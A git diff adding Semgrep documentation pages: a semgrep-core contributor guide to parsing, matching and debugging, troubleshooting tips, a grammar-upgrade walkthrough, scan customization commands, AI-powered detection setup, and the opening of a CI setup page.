+You can also test the impact of your change by running `./run_benchmarks --std_only` in `perf`, which will only run the default version of semgrep.
+
+
+In these next sections we will give an overview of `semgrep-core` and then some tips for making common changes to `semgrep-core`. These are only tips; without seeing an error, we cannot know its cause and proper resolution, but hopefully it gives useful direction.
+
+## Cheatsheet
+
+The following assume you are in the root of the repository.
+
+Compilation:
+
+* To compile: `make`
+* To run the test suite: `make test`
+* To install the `semgrep-core` binary: `make install`
+* The `semgrep-core` executable produced by `make`: `_build/default/src/main/Main.exe` (alias `sc`)
+
+Running (examples in Python):
+
+* To match a rule file against a target: `sc -rules [your-rule].yaml [your-target].py -lang python`
+* To match a pattern against a target: `sc -f [your-pattern].sgrep [your-target].py -lang python`
+* To dump a pattern AST: `sc -dump_pattern [your-pattern].sgrep -lang python`
+* To dump a target AST: `sc -dump_ast [your-target].py -lang python`
+* To dump a pattern Python AST: `pf -dump_python [your_pattern].sgrep -sgrep_mode -lang python`
+* To dump a target Python AST: `pf -dump_python [your_pattern].sgrep -lang python`
+
+Debugging:
+* To get the semgrep-core command the python wrapper will use: `semgrep --dump-command-for-core --config [your-config] [your-target-directory]`
+
+Try it out: `sc -f tests/python/dots_stmts.sgrep tests/python/dots_stmts.py -lang python`
+
+## `semgrep-core` overview
+
+### Entry point
+
+The entry point to `semgrep-core` is `Core_CLI.ml`, in `src/core_cli/`. This is where you add command-line arguments. It calls functions depending on the mode in which `semgrep-core` was invoked (`-config` for a yaml file, `-f` for a single pattern, etc.)
+
+When invoked by `semgrep`, `semgrep-core` is called by default with `-config`. This corresponds to the function `semgrep_with_rules_file`, which in turn calls `semgrep_with_rules`. These functions will parse and then match the rule and targets.
+
+### Parsing
+
+`semgrep-core` uses external modules to parse code into augmented language-specific abstract syntax trees (ASTs). Though we call these ASTs, they additionally contain token information such as parentheses that are traditionally only present in concrete syntax trees (CSTs) so that we can output results in the correct range.
+
+When `semgrep-core` receives a rule or a target, it will first need to parse it. The functions that do this are located in `src/parsing/`.
+
+* If it reads a rule, it will go through `Parse_rule.ml`, which uses `Parse_pattern.ml` to parse the code-like portions of the rule
+* If it reads a target, it will go through `Parse_target.ml`
+
+Depending on the language, `Parse_pattern.ml` and `Parse_target.ml` will invoke parsers to parse the code. For example, if we have Java code, it will first be parsed into a Java-specific AST.
+
+### Converting to the generic AST
+
+`semgrep-core` does not match based on the Java AST. It has a generic AST, defined in `AST_generic.ml` (in `libs/ast_generic/`), which all language-specific ASTs are converted to.
+
+The functions for this conversion are in either `languages/[LANG]/generic/`. They are named with the appropriate language in a consistent convention.
+
+### Matching
+
+The matching functions are contained in `src/engine/` (e.g. `Match_rules.ml`, `Match_patterns.ml`) and `src/matching/` (e.g. `Generic_vs_generic.ml`). There are several possible matchers to invoke
+
+* spacegrep (for generic mode)
+* regexp (to match by regexp instead of semgrep patterns)
+* comby (an experimental mode for languages we don't yet support)
+* pattern (the main mode)
+
+We will only talk about the last for now. In most cases, `Match_rules.ml` will invoke the `check` function in `Match_patterns.ml`. This will visit the target AST and try to match the pattern to it at each point. If the pattern and the target node correspond, it will call the relevant function in `Generic_vs_generic.ml`.
+
+The core of the matching is done by `Generic_vs_generic.ml`. The logic for whether two expressions, statements, etc. match is contained within this file.
+
+### Report results
+
+The results of the match will be returned to the calling function in `Main.ml` (for example, `semgrep_with_rules`). From there, the results are formatted and outputted.
+
+There are two modes for outputting: JSON and text. JSON output is processed by functions in `JSON_report.ml` in `semgrep-core/src/reporting/`
+
+## Fix a parse error
+
+Before you start fixing a parse error, you need to know what parser was used. This bears some explanation.
+
+### Guide to parsers
+
+The parsers used by semgrep fall into these categories:
+* legacy parsers (pfff): implemented directly in OCaml via a parser generator
+* tree-sitter parsers: third-party parsers implemented as
+ [tree-sitter](https://tree-sitter.github.io/) grammars
+* generic parser (spacegrep): fallback for unsupported languages,
+ comes with its own matching engine
+
+For each language, we need a parser for target files and a parser for
+semgrep patterns. For a given language, ideally both would use the same
+parser. For historical reasons, some languages use a legacy
+parser for patterns and a tree-sitter parser for target code.
+Here's the breakdown by language as of February 2021:
+
+* legacy parser for both pattern and target:
+ - OCaml
+ - PHP
+ - Python
+* legacy parser for pattern, tree-sitter parser for target:
+ - C
+ - Go
+ - Java
+ - JavaScript, JSX, JSON
+ - Ruby
+ - TypeScript, TSX
+* tree-sitter parser for both pattern and target:
+ - C#
+ - Kotlin
+ - Lua
+ - R
+ - Rust
+
+### Fix a `pfff` parse error
+
+#### Parse with `pfff`
+
+[`pfff`](https://github.com/semgrep/pfff) is an OCaml project that we plug into `semgrep-core` as a git submodule. It uses menhir to generate parsers from a defined grammar.
+
+Consider a Python pattern (or target). To parse it into a generic AST form, we transform the code as follows:
+
+Text -- (via `Lexer_python.mll`) --> Tokens -- (via `Parser_python.mly`) --> `Ast_python` -- (via `Python_to_generic.ml`) --> `AST_generic`
+
+These files live in different places. Specifically,
+
+* `Lexer_python.mll` is in `semgrep-core/src/pfff/lang_python/parsing`
+* `Parser_python.mly` is in `semgrep-core/src/pfff/lang_python/parsing`
+* `AST_python.ml` is in `semgrep-core/src/pfff/lang_python/parsing`
+* `Python_to_generic.ml` is in `semgrep-core/src/parsing/pfff`
+* `AST_generic.ml` is in `semgrep-core/src/core/ast`
+
+You will notice that the first three, `Lexer_python.mll`, `Parser_python.mly`, and `AST_python.ml` are in `semgrep-core/src/pfff/`, which is a submodule. This means that when you modify them, you modify the submodule rather than `semgrep-core`. You can develop as usual---`pfff` is compiled when you run `make` in `semgrep-core/`---but will need to go through an extra step to make a pull request (explained later).
+
+When a language is particularly complicated, it can be convenient to first parse into a CST, then convert to the AST. Currently, we only do this for PHP. In this case, there is an extra step:
+
+Tokens -- (via `Parser_php.mly`) --> `Cst_php` -- (via `Ast_php_build.ml`) --> `Ast_php`
+
+The lexers and parsers apply for both patterns and targets of a given language. To avoid parsing invalid targets, we have a function `Flag_semgrep.sgrep_guard` which fails when parsing constructs that only appear in patterns if a target is being parsed.
+
+#### Identify the error
+
+The source of the error can be anywhere along the Text --> `AST_generic` path, so you will want to identify which file is causing it.
+
+First, create a minimum failing case. If you are debugging a rule, isolate this to an individual pattern if possible, saved in a `.sgrep` file.
+
+For simplicity, we will use Python in the examples, but you can substitute Python for any language parsed with `pfff`.
+
+If the problem is in `Lexer_python.mll`, you will probably get a helpful error message which should tell you what you need to change.
+
+If the problem is in `Parser_python.mly`, you will probably not get a helpful error message, because the error will be reported in the generated parser, not the grammar. To identify which production within the grammar is problematic, you will want to see what AST the parser is trying to produce. Modify the failing case minimally until it parses successfully.
+
+Now, you need to see what generic AST is produced by this similar code. You can actually do this in the playground, by going to Tools -> Dump AST. On the command line, you can run
+
+* For a pattern:
+ ```bash
+ sc -dump_pattern -f [your_pattern].sgrep -lang python
+ ```
+* For a target:
+ ```bash
+ sc -dump_ast [your_target].py -lang python
+ ```
+
+where `sc` is an alias for `semgrep-core/_build/default/src/cli/Main.exe`, the executable produced by running `make` in `semgrep-core/`. If you have installed `semgrep-core`, you can instead use `semgrep-core` here, but each time you make a change you will need to compile (`make`) and then install (`make install`).
+
+By default, tokens are not shown in full in the dumped AST. Their presence is indicated by `()`.
+
+You may also find it useful to see the Python AST representation of the pattern. Just as `make` produces an executable for `semgrep-core` in `semgrep-core/_build/default/src/cli/Main.exe`, it also produces one for `pfff` in `semgrep-core/_build/default/src/pfff/cli/Main.exe` (alias to `pf` for these docs).
+
+To dump the Python AST, run
+
+* For a pattern:
+ ```bash
+ pf -dump_python [your_pattern].sgrep -sgrep_mode -lang python
+ ```
+* For a target:
+ ```bash
+ pf -dump_python [your_target].py -lang python
+ ```
+
+(Note that `-sgrep_mode` does not always work with incomplete programs. You may need to wrap your pattern so that it is a valid program for that language, except for semgrep constructs such as `...`)
+
+#### Fix the error
+
+At this point, the relevant change you need to make will vary depending on your goal. It may be as simple as adding `...` as a possible case. It may require you to introduce a new construct and add it to `AST_generic` and `Ast_python`. As a rule of thumb, prefer to avoid changing `AST_generic` if possible. This will also make your life easier!
+
+If you add a pattern-specific feature, remember to use `Flag_semgrep.sgrep_guard` so that an invalid target does not parse successfully.
+
+When you change the grammar, it is important that you do not introduce conflicts. Check the conflicts before you start by forcing dune to compile the grammar. (You can either use `make clean` and read through the output or make a change in `Parser_python.mly`, run `make`, then remove the change and run `make` again.) Then, after you change the grammar, see if there are any more conflicts than there were before your change.
+
+It can sometimes be okay to introduce a `shift/reduce` conflict, though avoid doing this if possible. It is never okay to introduce a `reduce/reduce` conflict. To understand why, read about [LR(1) parsers](https://en.wikipedia.org/wiki/Canonical_LR_parser).
+
+If you do introduce a conflict, you can figure out how to resolve it by running
+
+```bash
+menhir --explain Parser_python.mly
+```
+
+This will produce the file `Parser_python.conflicts` in the same folder as `Parser_python.mly`, which will show the two possible interpretations Menhir is considering for each conflict.
+
+Unfortunately, it will also produce `Parser_python.ml` and `Parser_python.mli`, which will confuse dune when it tries to build. Remove these files before you run `make` again.
+
+#### Commit the fix
+
+Once you have made your desired pattern or target parse, you need to make sure it doesn't break anything else. In `semgrep-core/`, run `make test`. If at the end it says `Ok`, you can commit your fix!
+
+First, if you have any changes in `pfff`, go into the `semgrep-core/src/pfff/` directory, checkout `develop`, pull, and then make a pull request as usual with your changes. This will make a PR to [`pfff`](https://github.com/semgrep/pfff).
+
+When you change files in `pfff`, `semgrep-core` will realize that `pfff` is different (though not which file within `pfff`). If you go back up to `semgrep-core/` and run `git status`, you will see `modified: src/pfff (modified content)`. To pin your latest `pfff` changes to `semgrep-core`, add `src/pfff`.
+
+Now, make the rest of your pull request for `semgrep-core` as usual.
+
+If you haven't changed `pfff`, don't worry about this. Just make a pull request with your changes.
+
+Remember to add test cases so that future changes don't break your example! See [Test `semgrep-core`](#test-semgrep-core)
+
+### Fix a Tree-sitter parse error
+
+There is more information in [Add Support for a Language](#add-support-for-a-language) on tree-sitter which will be helpful. Also, see `semgrep-core/src/parsing/tree-sitter/`.
+
+## Fix a match error
+
+The first thing you will need to do is understand what you expected and why you aren't getting that. If possible, reduce your rule to a single pattern that doesn't match. You may need to experiment with the clauses in your rule. For example, if you are getting too many matches, it may be because the pattern in `pattern-not` doesn't match what you expect.
+
+If you are unable to do so, you may need to investigate `Match_rule.ml`.
+
+Otherwise, produce a minimal failing pattern/target pair. You will need to compare the ASTs to see which portion is not matching as you expect. Run
+
+```bash
+sc -dump_ast [your_target].py -lang py
+```
+
+and then
+
+```bash
+sc -dump_pattern [your_pattern].sgrep -lang py
+```
+
+It can be hard to figure out where in the AST you are looking. You can make it easier by using a distinctive variable name in the section you're interested in.
+
+Once you've isolated the parts that aren't matching, try to figure out where they're different, taking into account special features like metavariables and ellipses. It is unlikely (though not impossible) that the problem would ever be that two identical code segments aren't matching or that there is some AST element that ellipses refuse to match. You might find it helpful to write out the AST parts you want to match on a whiteboard, indicating which part is matched by a special feature. Pare down the code as much as possible and try changing the bit you're interested in.
+
+When you are sure you know what ought to have happened, make it happen. If two pieces of code should match but don't, change `Generic_vs_generic.ml` to tell it that pattern should match the target.
+
+Oftentimes, a matching error is actually a parsing error. You may want to change how `Parser_python.mly` reduces the construct or how it gets converted in `Python_to_generic.ml`. Refer to [Fix a Parse Error](#fix-a-parse-error) for advice.
+
+At the end, confirm the match with
+
+```bash
+sc -f [your_pattern].sgrep [your_target].py -lang py
+```
+
+## Fix an Rule-defined fix error
+
+Rule-defined fix runs through both `semgrep-core` and `semgrep`, but the most common error raised by Rule-defined fix you can encounter is a kind of incorrect range. This happens because `semgrep-core` determines the range of a match based on the locations of the tokens stored in the AST. When the range is incorrect, that usually means a token is missing. You can see token location information with
+
+```bash
+sc -full_token_info -dump_ast [your_target].py -lang py
+```
+
+See [Fix a Parse Error](#fix-a-parse-error) for more on parsing
+
+## Debugging resources
+
+In the process of debugging, you will probably want to print things. We provide a function `pr2` in `Common.ml` (in `semgrep-core/src/pfff/commons/`) to print strings. You can also use the `Printf` module.
+
+If you would like to print an AST element, you can use a `show` function. For example, to print a node of type `any` in `AST_generic`, you can use
+
+`pr2 (show_any your_node)`
+
+Any type that includes `[@@deriving show]` in its definition can be converted to a string in this way.
+
+We also provide some flags that are useful. If you run with `-debug`, you can see the steps `semgrep-core` is taking. You can see more information (and change what you want to see) using `-log_config_file`, which takes a file. You can use one of `semgrep-core/log_config.json.ex1` or `semgrep-core/log_config.json.ex2` to start.
+
+Additionally, the [OCaml debugger](https://ocaml.org/manual/debugger.html) is a great resource.
+
+## Add support for a language
+
+There are some cases where we have chosen to implement a new parser in `pfff`, but in general new languages should use tree-sitter.
+
+### Tree-Sitter parsers
+
+Tree-sitter parsers exist as individual public projects. They are
+shared with other users of tree-sitter outside of semgrep. Our
+[ocaml-tree-sitter](https://github.com/semgrep/ocaml-tree-sitter-semgrep)
+project adds the necessary extensions for supporting semgrep patterns
+(ellipsis `...` and such). It also contains the machinery for turning
+a tree-sitter grammar into a usable, typed concrete syntax tree (CST).
+
+For example, for the Kotlin language we have:
+* input: [tree-sitter-kotlin](https://github.com/fwcd/tree-sitter-kotlin)
+* output: [semgrep-kotlin](https://github.com/semgrep/semgrep-kotlin)
+
+Assuming the tree-sitter grammar works well enough, most of the work
+consists in mapping the CST to the generic abstract syntax tree (AST)
+shared by all languages in semgrep.
+
+These guides go over the integration work in more details:
+
+
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/contributing/semgrep-philosophy-1.mdx b/mintlify-docs/contributing/semgrep-philosophy-1.mdx
new file mode 100644
index 0000000000..9773958e4c
--- /dev/null
+++ b/mintlify-docs/contributing/semgrep-philosophy-1.mdx
@@ -0,0 +1,8 @@
+---
+title: "Semgrep Community Edition (CE) philosophy"
+sidebarTitle: "Semgrep CE philosophy"
+---
+
+import SemgrepCEPhilosophy from "/snippets/contributing/semgrep-philosophy.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/contributing/semgrep-philosophy-2.mdx b/mintlify-docs/contributing/semgrep-philosophy-2.mdx
new file mode 100644
index 0000000000..163cb17c65
--- /dev/null
+++ b/mintlify-docs/contributing/semgrep-philosophy-2.mdx
@@ -0,0 +1,7 @@
+---
+title: "Semgrep Community Edition (CE) philosophy"
+---
+
+import SemgrepCEPhilosophy from "/snippets/contributing/semgrep-philosophy.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/contributing/semgrep-philosophy.mdx b/mintlify-docs/contributing/semgrep-philosophy.mdx
new file mode 100644
index 0000000000..9773958e4c
--- /dev/null
+++ b/mintlify-docs/contributing/semgrep-philosophy.mdx
@@ -0,0 +1,8 @@
+---
+title: "Semgrep Community Edition (CE) philosophy"
+sidebarTitle: "Semgrep CE philosophy"
+---
+
+import SemgrepCEPhilosophy from "/snippets/contributing/semgrep-philosophy.mdx"
+
+
\ No newline at end of file
diff --git a/mintlify-docs/contributing/troubleshooting.mdx b/mintlify-docs/contributing/troubleshooting.mdx
new file mode 100644
index 0000000000..a3d42857c6
--- /dev/null
+++ b/mintlify-docs/contributing/troubleshooting.mdx
@@ -0,0 +1,28 @@
+---
+title: "Troubleshooting"
+---
+
+## Make errors
+
+
+
+There are probably changes to submodules that you don't have. Run `git submodule update --recursive`.
+
+
+## Pre-commit
+
+
+
+Make sure to follow the [Development Workflow](/contributing/contributing-code/#development-workflow) so that pre-commit will run on commit
+
+
+
+Sometimes changes you make will cause pre-commit errors in code you haven't touched--for example, if you change a function's return type. However, if you're absolutely sure you didn't cause this, you can run `git commit --no-verify` to commit without running `pre-commit`.
+
+
+
+## Exotic
+
+
+Run `pip3 show semgrep` to find the location semgrep was installed in. `semgrep-core` will be in that path/semgrep/bin/semgrep-core
+
\ No newline at end of file
diff --git a/mintlify-docs/contributing/updating-a-grammar.mdx b/mintlify-docs/contributing/updating-a-grammar.mdx
new file mode 100644
index 0000000000..ccf6c9bd70
--- /dev/null
+++ b/mintlify-docs/contributing/updating-a-grammar.mdx
@@ -0,0 +1,207 @@
+---
+title: "How to upgrade the grammar for a language"
+---
+
+Like for adding a language, most of these instructions happen in
+[ocaml-tree-sitter-semgrep](https://github.com/semgrep/ocaml-tree-sitter-semgrep).
+
+Let's assume we are upgrading the grammar for the programming language `$PL`.
+(Consider adding an environment variable to your shell to make copying some of the commands below easier).
+
+## Summary (ocaml-tree-sitter)
+
+In ocaml-tree-sitter:
+
+
+Update submodule `tree-sitter-$PL`.
+
+
+From `lang/`, run `./test-lang $PL`.
+
+
+From `lang/`, ask a Semgrep team developer to run `./release $PL`.
+
+
+In semgrep:
+
+
+In the semgrep repo, update submodule `semgrep-$PL`.
+
+
+In the semgrep repo, update the OCaml code that maps the CST to the generic AST.
+
+
+In the end, **make sure the generated code used by the main branch of
+semgrep can be regenerated** from the main branch of ocaml-tree-sitter:
+
+
+Merge your semgrep branch.
+
+
+Merge your ocaml-tree-sitter branch.
+
+
+
+## Components
+
+Here are the main components:
+
+* the OCaml code generator
+ [ocaml-tree-sitter](https://github.com/semgrep/ocaml-tree-sitter-semgrep):
+ generates OCaml parsing code from tree-sitter grammars extended
+ with `...` and such. Publishes code into the git repos of the
+ form `semgrep-$PL`.
+* the original tree-sitter grammar `tree-sitter-$PL` e.g.,
+ [tree-sitter-ruby](https://github.com/tree-sitter/tree-sitter-ruby):
+ the original tree-sitter grammar for the language.
+ This is the git submodule `lang/semgrep-grammars/src/tree-sitter-$PL`
+ in ocaml-tree-sitter. It is installed at the project's root
+ in `node_modules` by invoking `npm install`.
+* syntax extensions to support semgrep patterns, such as ellipses
+ (`...`) and metavariables (`$FOO`).
+ This is `lang/semgrep-grammars/src/semgrep-$PL`. It can be tested from
+ that folder with `make && make test`.
+* an automatically-modified grammar for language `$PL` in `lang/$PL`.
+ It is modified so as to accommodate various requirements of the
+ ocaml-tree-sitter code generator. `lang/$PL/src` and
+ `lang/$PL/ocaml-src` contain the C/C++/OCaml code that will published
+ into `semgrep-$PL` e.g.
+ [semgrep-ruby](https://github.com/semgrep/semgrep-ruby)
+ and used by semgrep.
+* [semgrep-$PL](https://github.com/semgrep/semgrep-ruby):
+ provides generated OCaml/C parsers as a dune project. Is a submodule
+ of semgrep.
+* [semgrep](https://github.com/semgrep/semgrep): uses the parsers
+ provided by `semgrep-$PL`, which produce a CST. The
+ program's CST or pattern's CST is further transformed into an AST
+ suitable for pattern matching.
+
+Make sure the above is clear in your mind before proceeding further.
+If you have questions, the best way is reach out on the [Semgrep
+Community Slack channel](https://go.semgrep.dev/slack).
+
+## Before upgrading
+
+Make sure the `grammar.js` file or equivalent source files
+defining the grammar are included in the `fyi.list` file in
+`ocaml-tree-sitter/lang/$PL`.
+
+Why: It is important for tracking and _understanding_ the changes made at the
+source.
+
+How: See [How to add support for a new language](/contributing/adding-a-language).
+
+## Upgrade the tree-sitter-$PL submodule
+
+Say you want to upgrade (or downgrade) `tree-sitter-$PL` from some old
+commit to commit `602f12b`. This uses the git submodule way, without
+anything weird. The commands might be something like this:
+
+```bash
+git submodule update --init --recursive --depth 1
+git checkout -b upgrade-$PL
+cd lang/semgrep-grammars/src/tree-sitter-$PL
+git fetch origin --unshallow
+git checkout 602f12b
+cd ..
+```
+
+## Testing
+
+First, build and install ocaml-tree-sitter normally, based on the
+instructions found in the [main README](https://github.com/semgrep/ocaml-tree-sitter-semgrep/blob/main/README.md).
+
+```bash
+./configure
+make setup
+make
+make install
+```
+
+Then, build support for your language in `lang/`. The following
+commands will build and test the language:
+
+```bash
+cd lang
+ ./test-lang $PL
+```
+
+
+**CAUTION**
+
+Check the generated code for the presence of `Blank` nodes. Those
+correspond to [missing tokens](https://github.com/tree-sitter/tree-sitter/issues/1151).
+
+
+
+Check with:
+```bash
+grep Blank lang/$PL/ocaml-src/lib/CST.ml
+```
+If anything comes up, you must modify the grammar so as to create
+a named rule for the node of the `Blank` kind. Eventually, the generated
+`CST.ml` should not have `Blank` nodes anymore but a token type instead.
+Where a `Blank` node exists, we won't be able to get a token or its location
+at parsing time.
+
+If this works, we're all set. Commit the new commit for the
+`tree-sitter-$PL` submodule:
+```bash
+git status
+git commit semgrep-languages/semgrep-$PL
+git push origin upgrade-$PL
+```
+
+Then make a pull request to merge this into ocaml-tree-sitter's
+main branch. It's ok to merge at this point, even if the generated code
+hasn't been exported (**Publishing** section below) or if you haven't
+done the necessary changes in semgrep (**Semgrep integration** below).
+
+We can now consider publishing the code to `semgrep-$PL`.
+
+## Publishing
+
+_Please [ask someone at Semgrep, Inc. to run this step](https://github.com/semgrep/ocaml-tree-sitter-semgrep/blob/main/doc/release.md)._
+
+From the `lang` folder of ocaml-tree-sitter, we'll perform the
+release. This step redoes some of the work that was done earlier and
+checks that everything is clean before committing and pushing the
+changes to semgrep-$PL.
+
+```bash
+cd lang
+ ./release --dry-run $PL # dry-run release
+ ... # 'git status' will show changes for language $PL
+ ./release $PL # commits and pushes to semgrep-$PL
+```
+
+This step is safe. Semgrep at this point is unaffected by those
+changes. There is now a new commit at
+`https://github.com/semgrep/semgrep-$PL` e.g.
+https://github.com/semgrep/semgrep-javascript.
+The [`fyi/` folder](https://github.com/semgrep/semgrep-javascript/tree/main/fyi)
+contains original files from which the code was generated.
+[`fyi/versions`](https://github.com/semgrep/semgrep-javascript/blob/main/fyi/versions)
+shows the last change for each file, allowing you to check that you
+got the correct version of `grammar.js` or some other source file.
+
+## Semgrep integration
+
+From the semgrep repository, point the submodule for `semgrep-$PL` to the
+latest commit from the "Publishing" step. Then rebuild semgrep-core,
+which will normally fail if the grammar changed. If the source
+`grammar.js` was included in the `fyi` folder for `semgrep-$PL` (as it
+should), `git diff HEAD^` should help figure out the changes since the
+last version.
+
+## Conclusion
+
+The main difficulty is to understand how the different git projects
+interact and to not make mistakes when dealing with git submodules,
+which takes a bit of practice.
+
+## See also
+
+
+
+
\ No newline at end of file
diff --git a/mintlify-docs/customize-semgrep-ce.mdx b/mintlify-docs/customize-semgrep-ce.mdx
new file mode 100644
index 0000000000..f4e455c69e
--- /dev/null
+++ b/mintlify-docs/customize-semgrep-ce.mdx
@@ -0,0 +1,145 @@
+---
+sidebarTitle: "Customize scans"
+title: "Customize Semgrep Community Edition (CE) scans"
+description: "This article shows you how to customize your local scans with Semgrep Community Edition (CE). Before proceeding with this article, ensure that you are familiar with [scanning a project using Semgrep CE](/getting-started/quickstart-ce)."
+---
+
+## Scan your codebase and export results
+
+Navigate to the root of your codebase to run first scan. The specific command you use depends on how you want to view the results.
+
+To view the results in the CLI:
+
+```bash
+semgrep scan
+```
+
+To export the results to a plain text file:
+
+```bash
+semgrep scan --text --text-output=semgrep.txt
+```
+
+To export the results to a SARIF file:
+
+```bash
+semgrep scan --sarif --sarif-output=semgrep.sarif
+```
+
+To export the results to a JSON file:
+
+```bash
+semgrep scan --json --json-output=semgrep.json
+```
+
+> The JSON schema for Semgrep's CLI output can be found in [semgrep/semgrep-interfaces](https://github.com/semgrep/semgrep-interfaces/blob/main/semgrep_output_v1.jsonschema).
+
+In addition to the `--text`, `--json`, and `--sarif` flags, which set the primary output formats, and the `--output= ` flag that saves the results to a file or posts to a URL, you can append `-- -output= ` to obtain additional output streams:
+
+```bash expandable
+# prints findings in SARIF format to standard output and writes in JSON format to `findings.json`.
+semgrep scan --sarif --json-output=findings.json
+
+# prints findings in text to standard out and writes JSON output to `findings.json`.
+semgrep scan --json-output=findings.json
+
+# prints text output to `findings.txt` and writes in SARIF to `findings.sarif`.
+semgrep scan --output=findings.txt --sarif-output=findings.sarif
+
+# writes text to `semgrep.txt`, JSON to `semgrep.json`, and SARIF to `semgrep.sarif`.
+semgrep scan --text --output=semgrep.txt --json-output=semgrep.json --sarif-output=semgrep.sarif
+```
+
+Accepted values for ` `: `text`, `json`, `sarif`, `gitlab-sast`, `gitlab-secrets`, `junit-xml`, `emacs`, `vim`
+
+## Scan your codebase with a specific ruleset
+
+You can scan your codebase using `--config auto` to run Semgrep with rules that apply to your programming languages and frameworks:
+
+```bash
+semgrep scan --config auto
+```
+
+
+**INFO**
+
+Semgrep collects pseudonymous metrics when you use rules from the Registry. You can turn this off with `--metrics=off`.
+
+
+To scan your codebase with a specific ruleset, either one that you write or one that you obtain from the [ Semgrep Registry](https://semgrep.dev/explore), use the `--config` flag.
+
+```bash
+# Scan with the JavaScript rules from Semgrep Registry
+semgrep scan --config p/javascript
+```
+
+```bash
+# Scan with the rules defined in your custom rules.yaml file
+semgrep scan --config rules.yaml
+```
+
+You can include as many configuration flags as necessary.
+
+```bash
+# Scan with rules defined in two separate config files
+semgrep scan --config rules.yaml --config more_rules.yaml
+```
+
+Rules stored under a **hidden directory**, such as `dir/.hidden/myrule.yml`, are processed by Semgrep when scanning with the `--config` flag.
+
+Scan with rules in a **directory** and **all** its subdirectories:
+
+```bash
+semgrep scan --config DIRECTORY_NAME
+```
+
+Scan with all YAML rules detected in the **current working directory** and all its **subdirectories**:
+
+```bash
+semgrep scan --config .
+```
+
+#### Test custom rules
+
+Semgrep includes features to [test the custom rules that you write](/writing-rules/testing-rules):
+
+```bash
+semgrep scan --test
+```
+
+## Improve performance for large codebases
+
+You can set the number of subprocesses Semgrep uses to run checks in parallel:
+
+```bash
+semgrep scan -j NUMBER_OF_SUBPROCESSES
+```
+
+By default, the number of jobs Semgrep uses is equivalent to the number of cores detected on the system.
+
+
+Semgrep doesn't currently support parallelism on Windows.
+
+
+## Set log levels
+
+Semgrep provides three levels of logging:
+
+| **Log level** | **Flag** | **Description** |
+| :--- | :--- | :--- |
+| Default | None | Prints scan progress, findings information, warnings, and errors. |
+| Verbose | `-v` or `--verbose` | Includes everything printed when using the default logging level, adding a list of rules and details such as skipped files. |
+| Debug | `--debug` | Logs the entire scan process at a high level of detail. |
+
+### Example usage
+
+To set the logging level for a scan, include the flag when scanning your project:
+
+```bash
+# run a scan and get debug logs
+semgrep scan --debug
+```
+
+## Exit codes
+
+The command `semgrep scan` finishes with exit code `0` as long as the scan completes, regardless of whether there were findings. To finish with exit code `1` when there are findings, pass in the `--error` flag.
diff --git a/mintlify-docs/deployment/add-ai-to-scans.mdx b/mintlify-docs/deployment/add-ai-to-scans.mdx
new file mode 100644
index 0000000000..96d7c6a347
--- /dev/null
+++ b/mintlify-docs/deployment/add-ai-to-scans.mdx
@@ -0,0 +1,103 @@
+---
+title: "Scan with AI-powered detection (beta)"
+sidebarTitle: "Scan with AI"
+---
+
+
+This page provides step-by-step instructions on enabling and running an AI-powered scan. For details on what AI-powered detection can uncover, known limitations, and beta considerations, see [AI-powered detection overview](/semgrep-code/ai-powered-detection-concepts).
+
+## Prerequisites
+
+To run Semgrep Code's [AI-powered detection](/semgrep-code/overview#ai-powered-detection-beta-feature), ensure that you meet the following requirements:
+
+* You have added your projects to [Semgrep Managed Scans](/getting-started/quickstart-managed-scans#add-projects-to-semgrep-managed-scans). Look for the `managed-scan` tag in the [**Projects** section of the Semgrep AppSec Platform](https://semgrep.dev/orgs/-/projects/scanning).
+* You have enabled [Semgrep Multimodal](/semgrep-multimodal/getting-started#enable-multimodal) for your organization.
+
+## Enable or disable AI-powered detection
+
+This feature is enabled by default for all Semgrep Multimodal users.
+
+To enable or disable AI-powered detection in Semgrep AppSec Platform, go to [**Settings** > **Code**](https://semgrep.dev/orgs/-/settings/general/code) and then toggle **AI-powered scanning** on or off.
+
+## Scan with AI-powered detection
+
+
+
+Log in to Semgrep AppSec Platform.
+
+
+In the **navigation bar**, click on **Projects**.
+
+
+
+To scan the default or main branch:
+
+
+
+Choose the projects by selecting the checkboxes next to their names. This enables the **Run a new scan** drop-down menu.
+
+
+Click **Run a new scan > AI-powered detection**.
+
+
+A dialog appears that displays the number of projects that were selected for scanning. Click **Scan** to begin.
+
+ * If you would like Semgrep to automatically perform an AI scan on these projects every week, select **Enable weekly scans**.
+
+
+
+To scan a non-default branch:
+
+
+
+Click **Details** for your project of interest. On the project's **Details** page, click **Run a new scan** and choose **AI-powered detection.**
+
+
+In the dialog, enter the name of the branch you want to scan.
+
+
+
+## View findings
+
+Findings generated by AI-powered detection scans are part of [Semgrep Code findings](/semgrep-code/findings) and are listed on the **[Code](https://semgrep.dev/orgs/-/findings)** page. You can use the filters icon to filter for **AI-powered scan findings**.
+
+The findings card indicates whether a finding was detected by an AI-powered scan or a Rule-based scan.
+
+
+## Add additional context to AI-powered detection scans
+
+
+**INFO**
+
+Only **Admins** can upload context documents to Semgrep projects.
+
+
+By uploading project-specific context such as design documents, threat models, or instructional markdown, you can provide additional information for Semgrep to use during AI-powered scans. This enables Semgrep to show higher-impact findings and reduce false positives based on how your application is designed and used.
+
+
+To upload a project-specific context document:
+
+
+
+Log in to Semgrep AppSec Platform.
+
+
+In the **navigation bar**, go to **Rules & Policies > Memories**.
+
+
+Go to the **Documents** tab and click **Add document**.
+
+
+Drag the document to the **File upload** box or click **Choose a file** to select and upload your context document.
+
+ Optionally: Add a **Description** of the document. This information will be used as additional context for AI-powered detection scans.
+
+
+
+The finding **Details** page references the uploaded context document under the finding description.
+
+
+
+For an in-depth understanding of how AI-powered detection works, see [AI-powered detection: concepts, limitations, and FAQs](/semgrep-code/ai-powered-detection-concepts).
+
+
diff --git a/mintlify-docs/deployment/add-semgrep-to-ci.mdx b/mintlify-docs/deployment/add-semgrep-to-ci.mdx
new file mode 100644
index 0000000000..b16ffd36f4
--- /dev/null
+++ b/mintlify-docs/deployment/add-semgrep-to-ci.mdx
@@ -0,0 +1,255 @@
+---
+title: "Add Semgrep to CI"
+---
+
+
+
+**YOUR DEPLOYMENT JOURNEY**
+
+- You have gained the necessary [resource access and permissions](/deployment/checklist) required for deployment.
+- You have [created a Semgrep account and organization](/deployment/create-account-and-orgs).
+- For GitHub and GitLab users: You have [connected your source code manager](/deployment/connect-scm).
+- Optionally, you have [set up SSO](/deployment/sso).
+
+
